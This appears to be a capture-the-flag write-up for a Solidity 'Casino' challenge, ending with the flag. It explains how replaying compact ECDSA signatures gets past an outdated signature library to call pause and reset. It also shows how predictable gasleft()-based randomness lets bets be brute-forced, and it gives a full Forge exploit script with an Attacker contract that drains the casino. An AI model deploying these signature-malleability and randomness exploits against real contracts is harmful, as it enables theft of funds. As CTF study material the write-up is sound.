In the given Casino.sol
, we can deposit or withdraw native tokens, and increase our balances through the bet
function with the deposited assets.
However, in withdraw
function, we can check that it is withdrawn as a predetermined reciever rather than the receiver we set. 😂 Therefore, we need to use the reset
function to withdraw to holder.
function isSolved() external view returns (bool) {
return address(PLAYER).balance >= 99 ether
&& address(CASINO).balance == 0;
}
In order to pass isSolved()
function, the following 3 steps are required:
- Call
pause
function in order to passwhenNotPaused
modifier - Break random value of
bet
function - Call
reset
function
Call pause
function in order to pass whenNotPaused
modifier
contract Deploy is CTFDeployer {
function deploy(address system, address player) internal override returns (address challenge) {
vm.startBroadcast(system);
challenge = address(new Challenge(player));
Casino casino = Challenge(challenge).CASINO();
casino.deposit{value: 100 ether}(system);
uint systemPK = vm.deriveKey(vm.envString("MNEMONIC"), 1);
bytes32 salt = 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a;
(uint8 v, bytes32 r, bytes32 s) = vm.sign(systemPK, keccak256(abi.encode(0, salt)));
casino.pause(
abi.encodePacked(r, s, v),
salt
);
salt = 0x7867dc2b606f63c4ad88af7e48c7b934255163b45fb275880b4b451fa5d25e1b;
(v, r, s) = vm.sign(systemPK, keccak256(abi.encode(1, system, 1 ether, salt)));
casino.reset(
abi.encodePacked(r, s, v),
payable(system),
1 ether,
salt
);
vm.stopBroadcast();
}
}
In the given Deploy.s.sol
, system
which is signer
of Casino contract generated 65-length signature. Since the Ecdsa.sol
that Deploy.s.sol
refers to is an older version, we can create another signature created by system
with the compact signature. (fixed here)
Break random value of bet
function
uint256 random = uint256(keccak256(abi.encode(gasleft(), block.number, totalBets)));
There are 2 ways to break random value of bet
function:
- Debug gas used to expect
gasleft()
when calculating random value
We can expect that 521 gas was used until gasleft()
is calculated. (e.g. If we call bet
function like casino.bet{value: 30521}
, gasleft()
function will return 30000)
- Brute force
gasleft()
value until we win, otherwise revert
I chose 2nd method.
Call reset
function
We can also call reset
function normally with the compact signature like pause
function.
Exploit
ex.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Script, console} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {Casino} from "../src/Casino.sol";
contract Ex is Script {
Challenge chall = Challenge(0xD9c231794C7EC3e5602dF3Be2BA3e74Bb7d487Af);
Casino casino = Casino(chall.CASINO());
function run() public {
uint256 pk = <pk>;
address user = vm.addr(pk);
uint256 goal = ~address(casino).balance;
// cast block 0 --rpc-url $rpc
// cast block 1 --rpc-url $rpc
// cast block 2 --rpc-url $rpc
// cast block 3 --rpc-url $rpc
// 3rd tx -> pause
// 4th tx -> reset
// cast tx <tx_hash> --rpc-url $rpc -> signature == input[-192:]
// signature depends on your instance
bytes memory sig_pause = hex"54d54e11cc8394a0ab47f5d92373df1c7d74ef66150eff6e5fcce35b624f5e4323eadc96a57be1648e58eeef67a606123bae93c2a58610cdffe7b1278368b66c";
bytes memory sig_reset = hex"1fc4a02e026901ac39141161663a220df511d9b6653b31773f2c5fc00da4ef23c74f43d1332c3909a5ee8071f0f581f5b301d3ce8637f7d6d15e857062d39c98";
vm.startBroadcast(pk);
// 1. pause
casino.pause(convertToCompactSignature(sig_pause), 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a);
console.log("After pause: ", casino.paused());
// 2. bet
console.log("Goal:", goal);
Attacker attacker = new Attacker(user, payable(address(casino)));
attacker.deposit{value: 0.5 ether}();
attacker.attack_brute_force();
console.log("After attack: ", casino.balances(address(attacker)));
// 3. reset
casino.reset(convertToCompactSignature(sig_reset), payable(casino.signer()), 1 ether, 0x7867dc2b606f63c4ad88af7e48c7b934255163b45fb275880b4b451fa5d25e1b);
attacker.withdraw();
console.log("My balance: ", user.balance);
console.log("Solved: ", chall.isSolved());
vm.stopBroadcast();
}
function convertToCompactSignature(bytes memory sig) public returns (bytes memory) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 0x20))
s := mload(add(sig, 0x40))
v := byte(0, mload(add(sig, 0x60)))
}
bytes32 vs;
vs = bytes32(uint256(v%27)<<255) | s;
return abi.encodePacked(r, vs);
}
}
contract Attacker {
address user;
Casino casino;
constructor(address user_, address payable casino_) {
user = user_;
casino = Casino(casino_);
}
function deposit() external payable {
casino.deposit{value: msg.value}(address(this));
}
function withdraw() external {
payable(user).call{value: address(this).balance}("");
}
function attack_brute_force() external {
uint256 goal = ~address(casino).balance; // ~~~ equals ~
uint256 gasleft_bf = 32000;
uint256 amount = 0.5 ether;
for (uint i = 0; i < 257; i++) {
for (uint j = 0; j < 50; j++) {
try this.bet(gasleft_bf, amount) {
amount *= 2;
break;
} catch {
gasleft_bf++;
}
}
if (amount > goal/2) {
for (uint j = 0; j < 100; j++) {
try this.bet(gasleft_bf, goal - amount) {
break;
} catch {
gasleft_bf++;
}
}
break;
}
}
}
function bet(uint256 gasleft_bf, uint256 amount) external returns (bool) {
bool res = casino.bet{gas: gasleft_bf}(amount);
require(res, "lose");
}
receive() external payable {}
}
// forge script --rpc-url $rpc script/ex.sol:Ex --broadcast
// rctf{@lic3_u_C4n_d0_b3tT3r_th4n_th1S_bdc7bb482720bc332ba3cd5b}